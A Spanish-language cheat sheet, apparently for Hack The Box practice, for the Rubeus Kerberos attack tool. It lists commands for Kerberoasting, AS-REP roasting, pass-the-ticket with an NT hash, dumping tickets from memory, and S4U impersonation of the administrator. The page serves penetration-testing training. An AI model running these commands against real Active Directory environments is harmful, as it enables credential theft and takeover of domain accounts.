Rubeus
Rubeus hace desde una sesión en Windows lo que Impacket hace desde Linux, con extras como tgtdeleg (sacar un TGT usable sin ser administrador) o monitor para capturar TGT en equipos con delegación sin restricciones.
- Plataforma
- Windows (C#)
- Web oficial
- github.com/GhostPack/Rubeus
- En HTB
- 4 máquinas
Instalación
# Compílalo con Visual Studio desde el repositorio de GhostPack (no hay binarios oficiales)
- T1558.003 Kerberoasting
- T1558.004 AS-REP roasting
- T1550.003 Pass the ticket
- T1558 Robar o forjar tickets de Kerberos
- Kerberoasting
- AS-REP roasting
- Delegación Kerberos (RBCD)
- Pass-the-hash / ticket
Chuleta de Rubeus
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Roasting
Kerberoasting
Víctima
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
AS-REP roasting
Víctima
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Tickets
TGT con el hash NT e inyectarlo en la sesión
Víctima
.\Rubeus.exe asktgt /user:usuario /rc4:64f12cddaa88057e06a81b54e73b949b /ptt
TGT del usuario actual sin ser administrador
Víctima
.\Rubeus.exe tgtdeleg /nowrap
Ver y volcar los tickets en memoria
Víctima
.\Rubeus.exe triage
.\Rubeus.exe dump /nowrap
Delegación
S4U: ticket de servicio como administrador
Víctima
.\Rubeus.exe s4u /user:CUENTA$ /rc4:64f12cddaa88057e06a81b54e73b949b /impersonateuser:administrator /msdsspn:cifs/dc01.box.htb /ptt
Capturar TGT en un equipo con delegación sin restricciones
Víctima
.\Rubeus.exe monitor /interval:5 /nowrap
Ningún comando coincide.
Máquinas de HTB donde se usa Rubeus
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Rubeus. El enlace ▶ salta al minuto de esa parte.
Guías que usan Rubeus
- Delegación Kerberos: unconstrained, constrained y RBCD explicadas y explotadas 4 min de lectura Los tres tipos de delegación Kerberos en AD, cómo encontrarlos y cómo abusar de cada uno con getST, rbcd.py y addcomputer para suplantar al administrador.
- Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear 3 min de lectura Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.